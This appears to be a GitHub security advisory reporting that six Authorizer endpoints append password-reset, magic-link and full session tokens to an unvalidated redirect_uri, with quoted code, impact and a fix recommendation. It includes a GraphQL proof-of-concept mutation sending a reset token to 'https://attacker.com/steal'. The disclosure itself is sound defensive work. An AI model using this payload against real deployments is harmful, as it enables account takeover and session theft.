GHSA-x3f4-v83f-7wp2

Hi,

I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirecturi at `httphandlers/app.go:46`, but the GraphQL mutations and verifyemail handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (accesstoken + idtoken + refreshtoken) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).

Affected Endpoints

1. ForgotPassword (internal/graphql/forgot_password.go:76-77) - password reset tokens
2. MagicLinkLogin (internal/graphql/magiclinklogin.go:150-151) - magic link auth tokens
3. Signup (internal/graphql/signup.go:211-212) - email verification tokens
4. InviteMembers (internal/graphql/invite_members.go:90-91) - invitation tokens
5. OAuthLoginHandler (internal/httphandlers/oauthlogin.go:18-20) - OAuth redirect stored in state
6. VerifyEmailHandler (internal/httphandlers/verifyemail.go:27,178) - full auth tokens (access + id + refresh)

Root Cause

Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.

In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:

    if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {

        redirectURI = refs.StringValue(params.RedirectURI)

    }

The reset token is appended to this URL at internal/utils/common.go:77:

    func GetForgotPasswordURL(token, redirectURI string) string {

        verificationURL := redirectURI + "?token=" + token

        return verificationURL

    }

Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:

    if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {

        c.JSON(400, gin.H{"error": "invalid redirect url"})

        return

    }

This validation is missing from all 6 endpoints listed above.

Most Severe Path: Full Token Theft via verify_email

After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:

    params := "access_token=" + authToken.AccessToken.Token +

        "&tokentype=bearer&expiresin=" + ... +

        "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce

The redirecturi is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's accesstoken, idtoken, and refreshtoken directly.

Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.

PoC

    mutation {

      forgot_password(params: {

        email: "victim@example.com"

        redirect_uri: "https://attacker.com/steal"

      }) {

        message

      }

    }

The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.

Impact

• Account takeover via stolen password reset tokens
• Full session theft via stolen accesstoken + idtoken + refresh_token
• Passwordless account compromise via stolen magic link tokens
• No authentication required to trigger (the GraphQL mutations are public)
• Victim only needs to click the email link from their trusted Authorizer instance

Additional Note

The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.

Koda Reef